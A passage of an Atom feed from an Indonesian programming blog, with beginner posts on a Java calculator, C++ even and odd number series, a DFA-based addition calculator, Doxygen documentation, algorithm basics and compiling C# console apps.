pemrograman modular. &lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Contoh yang saya buat di bawah ini adalah kalkulator sederhana dengan menggunakan bahasa Java. Pada contoh tersebut terdapat beberapa method yang diperlukan untuk sebuah kalkulator, seperti penjumlahan, pengurangan, perkalian dan pembagian. Ok deh, selamat belajar.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;dt&gt;&lt;img style="display: block; float: none; margin-left: auto; margin-right: auto" title="Kalkulator menggunakan java" alt="Kalkulator menggunakan java" src="http://risyana.files.wordpress.com/2009/04/untitled.jpg?w=330&amp;amp;h=490" width="330" height="490" /&gt;&lt;/dt&gt;&lt;/p&gt;  &lt;p&gt;Selengkapnya : &lt;a href="http://risyana.wordpress.com" target="_blank"&gt;http://risyana.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:ae9c1721-90f0-45d6-8e29-6ffd2b6d1fb9" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/Kalkulator" rel="tag"&gt;Kalkulator&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Java" rel="tag"&gt;Java&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Contoh" rel="tag"&gt;Contoh&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2658549124042680866?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2658549124042680866/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2658549124042680866&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2658549124042680866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2658549124042680866'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2009/05/kalkulator-sederhana-menggunakan-java.html' title='KALKULATOR SEDERHANA MENGGUNAKAN JAVA'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-8578205490858488420</id><published>2009-01-15T02:11:00.001+07:00</published><updated>2009-01-15T02:11:59.450+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><title type='text'>Source Code C++ Deret Bilangan Genap dan Ganjil</title><content type='html'>&lt;p align="justify"&gt;&lt;img style="display: inline; margin-left: 0px; margin-right: 0px" title="C++" alt="" align="left" src="http://dantaliawidhian.googlepages.com/cplusplus.jpg" width="152" height="151" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Hmmm..baru dapet ilmu baru lagi nih..belajar bareng yuk..&lt;/p&gt;  &lt;p align="justify"&gt;Berikut adalah source code c++ untuk mengetahui deret bilangan genap dan ganjil sebelum bilangan n.&lt;/p&gt;  &lt;p align="justify"&gt;&amp;#160;&lt;/p&gt;  &lt;p align="justify"&gt;Untuk deret bilangan genap sebagai berikut :&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;blockquote&gt;   &lt;p align="justify"&gt;#include &amp;lt;iostream.h&amp;gt;&lt;/p&gt;    &lt;p align="justify"&gt;#include &amp;lt;conio.h&amp;gt;&lt;/p&gt;    &lt;p align="justify"&gt;void main()&lt;/p&gt;    &lt;p align="justify"&gt;{&lt;/p&gt;    &lt;p align="justify"&gt;int i, n;&lt;/p&gt;    &lt;p align="justify"&gt;cout &amp;lt;&amp;lt; “Masukan n = “;&lt;/p&gt;    &lt;p align="justify"&gt;cin &amp;gt;&amp;gt; n;&lt;/p&gt;    &lt;p align="justify"&gt;for (i=2; i&amp;lt;n ; i=i+2)&lt;/p&gt;    &lt;p align="justify"&gt;cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; ” ” &amp;lt;&amp;lt;endl;&lt;/p&gt;    &lt;p align="justify"&gt;getch();&lt;/p&gt;    &lt;p align="justify"&gt;}&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Dan untuk deret bilangan ganjil, kita hanya perlu mengubah nilai i semula. Sehingga, i yang tadinya bernilai dimulai dari 2 diubah menjadi 1. Source codenya sebagai berikut :&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://melodanta.com/source-code-c-deret-bilangan-genap-dan-ganjil.html" target="_blank"&gt;Selengkapnya, ….&lt;/a&gt;&lt;/p&gt; &lt;br /&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:2e9862f8-6fb7-4a3e-af23-a691173a082e" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/C%2b%2b" rel="tag"&gt;C++&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Source+Code" rel="tag"&gt;Source Code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Bilangan" rel="tag"&gt;Bilangan&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Genap" rel="tag"&gt;Genap&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-8578205490858488420?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/8578205490858488420/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=8578205490858488420&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8578205490858488420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8578205490858488420'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2009/01/source-code-c-deret-bilangan-genap-dan.html' title='Source Code C++ Deret Bilangan Genap dan Ganjil'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-7345127080948248425</id><published>2009-01-15T02:07:00.001+07:00</published><updated>2009-01-15T02:07:37.616+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Teori bahasa dan automata : bikin aplikasi kalkulator pertambahan pake java</title><content type='html'>&lt;p align="justify"&gt;wew, sekitar 5 bulan yang lau gw dapet matakuliah Teori Bahasa dan Automata, dan kata Mrs Mira (selaku dosen gw) katanya ini baik kalo kita mo buat bahasa pemrograman baru &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;wew, kayaknya gak perlu dipelajari &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt; , wonk gw gak kan bikin bahasa pemrograman baru kok &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt;&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;tapi ternyata pas kesini, ternyara di automata juga belajar “parsing” &lt;/p&gt;  &lt;p align="justify"&gt;wkkkkkkkkk &lt;img alt=":evil:" src="http://s.wordpress.com/wp-includes/images/smilies/icon_evil.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;wah gak nyangka makin kesini ternyata automata makin penting &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt; , contohnya kalo kita bikin aplikasi yang butuh parsing, dan juga regex &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;ternyata bahasa pemrograman yang dimaksud tuh bukan hanya kayak java, C++, tapi bisa juga MySQL &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;jadi nanti gw pengennya bikin bahasa SQL baru, jadi kalo biasanya kita pake “SELECT * FROM TABLENAME”, nanti gw pengennya kayak gini “TAMPILKAN SELURUH DATA DARI TABEL ORANG” heheheh, kayaknya keren!!!!&lt;/p&gt;  &lt;p align="justify"&gt;nach contoh sederhana gw sekarang bikin apliaksi kalkulator pertambahan (simple aja) pake automata &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;jadi aturan produksinya kayak gini :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;&lt;strong&gt;S = A + A + A + …&lt;/strong&gt;&lt;/p&gt;    &lt;p align="justify"&gt;&lt;strong&gt;A = 1…n&lt;/strong&gt;&lt;/p&gt;    &lt;p align="justify"&gt;&lt;strong&gt;n = (Max Integer)&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;jadi sekarang tingal kita buat DFA nya &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt; , singkat cerita dah gw buat kayak gini :&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img border="0" alt="DFA" src="http://eecchhoo.files.wordpress.com/2009/01/dfa.png?w=475&amp;amp;h=145" width="475" height="145" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;wew, jadi gini keterangannya :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;&lt;strong&gt;A = State Awal&lt;/strong&gt;&lt;/p&gt;    &lt;p align="justify"&gt;&lt;strong&gt;B = Final State&lt;/strong&gt;&lt;/p&gt;    &lt;p align="justify"&gt;&lt;strong&gt;A(1…9) -&amp;gt; B&lt;/strong&gt;&lt;/p&gt;    &lt;p align="justify"&gt;&lt;strong&gt;B(0…9) -&amp;gt; B&lt;/strong&gt;&lt;/p&gt;    &lt;p align="justify"&gt;&lt;strong&gt;B(+) -&amp;gt; C&lt;/strong&gt;&lt;/p&gt;    &lt;p align="justify"&gt;&lt;strong&gt;C(1…9) -&amp;gt; B&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;btw, ngerti gak ama diagram DFA diatas? kalo gak ngerti mungkin harus belajar automata dulu &lt;img alt=":P" src="http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;sekarang kita bua refresentasi dari A, B, C &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;nah karena A, B, C punya kesamaan, yaitu sebagai State jadi kita kita buat aja interface untuk State yang isinya validateCharacter(char), isFinalState(), isStartState() &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt; :&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://eecchhoo.wordpress.com/2009/01/04/teori-bahasa-dan-automata-bikin-aplikasi-kalkulator-pertambahan-pake-java/" target="_blank"&gt;Selengkapnya, …..&lt;/a&gt;&lt;/p&gt; &lt;br /&gt;&lt;br /&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:5d4d1307-c50c-44d8-8c1b-c8984e06599f" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/Java" rel="tag"&gt;Java&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Otomata" rel="tag"&gt;Otomata&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Aplikasi" rel="tag"&gt;Aplikasi&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-7345127080948248425?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/7345127080948248425/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=7345127080948248425&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/7345127080948248425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/7345127080948248425'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2009/01/teori-bahasa-dan-automata-bikin.html' title='Teori bahasa dan automata : bikin aplikasi kalkulator pertambahan pake java'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-1009238311208983160</id><published>2008-12-15T01:06:00.001+07:00</published><updated>2008-12-15T01:06:14.459+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Review'/><title type='text'>Dokumentasi Source Code Menggunakan Tools Doxygen</title><content type='html'>&lt;p align="justify"&gt;Bagi anda, seorang &lt;em&gt;programmer&lt;/em&gt;, yang menginginkan dokumentasi kode program yang anda buat, Doxygen merupakan salah satu &lt;em&gt;tools&lt;/em&gt; yang dapat anda gunakan untuk menghasilkan dokumentasi secara otomatis. Doxygen dapat membuatkan dokumentasi kode program bahasa C++, C, Java, Objective-C, Python, IDL (Corba dan Microsoft flavors), Fortran, VHDL, PHP, C#, dan lainnya. Hasil dokumentasi yang dibuat oleh Doxygen dapat berupa html, LaTeX, serta beberapa format lainnya.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Sebagai gambaran, anda dapat membuat kode bahasa C seperti berikut.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;&lt;code&gt;/**       &lt;br /&gt;* Fungsi untuk menjumlahkan dua bilangan        &lt;br /&gt;* @param[in] nilai1 argumen yang menyimpan nilai pertama untuk dijumlahkan        &lt;br /&gt;* @param[in] nilai2 argumen yang menyimpan nilai kedua untuk dijumlahkan        &lt;br /&gt;* @return nilai1 + nilai2        &lt;br /&gt;* @sa pengurangan, perkalian, pembagian        &lt;br /&gt;*/        &lt;br /&gt;int penjumlahan(int nilai1, int nilai2);        &lt;br /&gt;&lt;/code&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Dengan Doxygen, kode program tersebut dapat di-&lt;em&gt;parsing&lt;/em&gt; dan dapat dihasilkan tampilan html seperti kedua gambar di bawah.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://baguspewe.files.wordpress.com/2008/11/snapshot1e.png"&gt;&lt;img title="Screenshot html dokumentasi hasil bagian 1" alt="Screenshot hasil dokumentasi html bagian 1" src="http://baguspewe.files.wordpress.com/2008/11/snapshot1e.png?w=300&amp;amp;h=27" width="300" height="27" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Screenshot hasil dokumentasi html bagian 1&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://baguspewe.files.wordpress.com/2008/11/snapshot2e.png"&gt;&lt;img title="Screenshot hasil dokumentasi html bagian 2" alt="Screenshot hasil dokumentasi html bagian 2" src="http://baguspewe.files.wordpress.com/2008/11/snapshot2e.png?w=300&amp;amp;h=137" width="300" height="137" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Screenshot hasil dokumentasi html bagian 2&lt;/p&gt;  &lt;p align="justify"&gt;Untuk mendapatkan program ini, silakan di-&lt;em&gt;download&lt;/em&gt; di &lt;a href="http://www.doxygen.org/"&gt;http://www.doxygen.org/&lt;/a&gt;. Sebelum memulai menggunakan program ini, disarankan untuk membaca bagian &lt;em&gt;Getting started&lt;/em&gt; pada Doxygen manual. Selamat mencoba! &lt;img alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;em&gt;Catatan, Lisensi Doxygen: GPL.&lt;/em&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Source : &lt;a href="http://baguspewe.wordpress.com/2008/11/29/dokumentasi-source-code-menggunakan-tools-doxygen/" target="_blank"&gt;baguspewe.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:610aa8f4-10cb-4565-851b-5b667cb98a60" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/Doxygen" rel="tag"&gt;Doxygen&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Source+Code" rel="tag"&gt;Source Code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Dokumentasi" rel="tag"&gt;Dokumentasi&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-1009238311208983160?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/1009238311208983160/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=1009238311208983160&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1009238311208983160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1009238311208983160'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/12/dokumentasi-source-code-menggunakan.html' title='Dokumentasi Source Code Menggunakan Tools Doxygen'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2333759226845529720</id><published>2008-12-15T01:01:00.001+07:00</published><updated>2008-12-15T01:01:59.532+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Algoritma'/><title type='text'>PENGERTIAN DASAR ALGORITMA</title><content type='html'>&lt;p align="justify"&gt;Dalam kehidupan nyata banyak masalah yang timbul, terhadap masalah tersebut perlu dicarikan pemecahan masalah, sehingga memberikan solusi yang benar. Bila masalah tersebut dpecahkan dengan komputer maka disebut Algoritma. Secara umum algoritma adalah sejumlah langkah komputasi yang mengubah masukkan (input) menjadi keluaran (output) yang benar. &lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Algoritma yang masih berupa logika pemecahn selanjutnya diubah menjadi program computer (source code) menurut bahasa pemogarman tertentu, selanjutnya source code ini perlu di kompilasi oleh penejemah (compiler, interpreter), menjadi kode – kode yang dapat di mengerti dan dijalankan oleh computer. Kode ini disebut executable. Kata algoritma berasal dari nama Abu Ja’far Mohammed Ibn Musa al-Khowarizmi seorang ilmuwan Persia yang menulis buku bejudul kitab al jabr a’al-muqabala (rules of restoration and reduction). Pada Merriam-Webster’s Collegiate Dictionary isilah algorithm diartikan sebagai prosedur atau langkah demi langkah untuk memecahkan masalah atau menyelesaikan suatu tugas khususnya dalam menggunakan computer, dalam kamus besar bahasa Indonesia mendefinisikan algoritma sebagai urutan logis pengambilan keputusan untuk pemecahan masalah.&lt;/p&gt;  &lt;p align="justify"&gt;Syarat algoritma menurut Donal E.Knuth sebuah algoritma harus memenuhi syarat,    &lt;br /&gt;Finiteness, Algoritma harus berakhir (terminate) setelah mlakukan sejumlah langkah proses.&lt;/p&gt;  &lt;p align="justify"&gt;Definitenes, Setiap langkah algotritma harus didefinisikan dengan tepat dan tidak menimbulkan makna ganda (ambigious). Karena itu cara yang paling tepat dalam menuliskan algoritma adalah dengan menggunakan formal language (bahasa pemograman computer.&lt;/p&gt;  &lt;p align="justify"&gt;Input, setiap algoritma memerlukan data sebagai masukkan untuk diolah Output, setiap algoritma memberikan satu atau beberapa hasil keluaran. Effectiveness, langkah-langkah algoritma dikerjakan dalam waktu yang wajar. &lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Jenis Proses Algoritma&lt;/strong&gt;     &lt;br /&gt;Langkah yang membentuk algoritma dibagi menjadi tiga kelompok proses     &lt;br /&gt;Sequence proses, instruksi kedua dikerjakan setelah instruksi pertama , setelah itu instruksi ketiga baru dikerjakan, instruksi dikerjakan mulai dari instruksi pertama sampai instruksi terakhir.     &lt;br /&gt;Selection process, suatu instruksi adakalnya baru boleh dikerjakan apabila memenuhi persyaratan tertetu.     &lt;br /&gt;Iteration process, suatu instruksi adakalanya perlu dikerjakan berulang-ulang selama sekian kali, atau selama kondisi masih terpenuhi.     &lt;br /&gt;Selain ketiga proses algoritma pada parallel programming terdapat Concurrent Process yang memungkinkan beberapa instruksi dikerjakan secara bersamaan&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Tahapan Algoritma, dan penulisan program      &lt;br /&gt;&lt;/strong&gt;Proses pemecahan masalah dengan algoritma tertentu hingga menjadi program dapat dibagi sembilan tahap. &lt;/p&gt;  &lt;p align="justify"&gt;Mendefinisikan masalah. Masalah yang ingin depacahkan harus jelas lingkupnya.   &lt;br /&gt;membuat model, yang disebut membuat model adalah bentuk matematis yang dapat digunakan untuk memecahkan masalah, apakah harus dilakukan pengurutan data, apakah menggunakan perhitungan kambinatorik, dan sebagainya.     &lt;br /&gt;merancang algoritma, apa masukkanya, bagaimana rincian prosessnya, apa keluaranya.     &lt;br /&gt;menulis program, ubah algoritma menjadi program (source code) sesuai dengan bahasa pemograman.     &lt;br /&gt;mengubah source code menjadi executable code melalui proses compiling.     &lt;br /&gt;memeriksa hasil compiling jika salah kembali ke tahap menulis program.     &lt;br /&gt;menjalankan program (run) untuk diuji kebenarannya menggunakan berbagai data.     &lt;br /&gt;memperbaiki kesalahan.     &lt;br /&gt;mendokumentasikan program bila sudah benar. &lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;PRINSIP PEMOGRAMAN      &lt;br /&gt;&lt;/strong&gt;Tentukan masalah sebenarnya, kesulitan terbesar dalam menuliskan program yang besar bukan dalam menentukan tujuan pemograman, atau dalam mencari cara menetukan metode yang tepat untuk memenuhi tujuan tersebut. Masalah pertama dalam menyelesaikan program besar adalah apa masalah yang sesungguhnya, tujuan yang samara, pertanyaan yang saling bertentangan, harus diterjemahkan dalam formulasi yang tepat.&lt;/p&gt;  &lt;p&gt;Source : &lt;a href="http://andri-run.blogspot.com/2008/12/algoritma.html" target="_blank"&gt;andri-run.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:e3422a11-f75c-4eac-85b8-73c05478a3c1" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/Algoritma" rel="tag"&gt;Algoritma&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Pengertian" rel="tag"&gt;Pengertian&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Dasar" rel="tag"&gt;Dasar&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Pemrograman" rel="tag"&gt;Pemrograman&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-2333759226845529720?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/2333759226845529720/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=2333759226845529720&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2333759226845529720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/2333759226845529720'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/12/pengertian-dasar-algoritma.html' title='PENGERTIAN DASAR ALGORITMA'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-4008707054484537740</id><published>2008-11-05T12:56:00.001+07:00</published><updated>2008-11-05T12:56:10.081+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><title type='text'>Membuat Aplikasi Console C# dari Command Line</title><content type='html'>&lt;p&gt;&lt;strong&gt;Pertanyaan : &lt;/strong&gt;    &lt;br /&gt;Bagaimana membuat aplikasi console dengan C# Compiler ?&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Jawaban :&lt;/strong&gt;    &lt;br /&gt;Pada salah satu kelas yang dibagun dibutuhkan method bertipe static dan dengan nama Main seperti salah satu dari berikut :&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;pre&gt;public static void Main();&lt;br /&gt;public static void Main(string[] args);&lt;br /&gt;public static int Main();&lt;br /&gt;public static int Main(string[] args);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Cara mengcompilenya adalah dengan menjalankan command berikut :&lt;br /&gt;  &lt;br /&gt;csc /target:exe HaloCSharp.cs&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;strong&gt;Penjelasan:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;csc adalah nama aplikasi Compiler untuk C#. file csc.exe ini terdapat pada direktori [WindowsDirektori]\Microsoft.NET\Framework\[Versi Framework]\csc.ece.&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;/target:exe adalah target dari aplikasi yang akan dibangun. Dimana hasil dari compile akan bertipe exe (Executable Files).&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;HaloCSharp.cs adalah source file yang dicompile.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Lebih lanjut: &lt;/strong&gt;&lt;a target="_blank" href="http://wcode.net/2008/10/membuat-aplikasi-console-c-dari-command-line.htm"&gt;wcode.net&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:4ddaadd6-a4f0-41a0-b3f4-ec0e4fcd76ff" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/C%23" rel="tag"&gt;C#&lt;/a&gt;,&lt;a href="http://technorati.com/tags/console" rel="tag"&gt;console&lt;/a&gt;,&lt;a href="http://technorati.com/tags/aplikasi" rel="tag"&gt;aplikasi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source+code" rel="tag"&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-4008707054484537740?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/4008707054484537740/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=4008707054484537740&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4008707054484537740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4008707054484537740'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/11/membuat-aplikasi-console-c-dari-command.html' title='Membuat Aplikasi Console C# dari Command 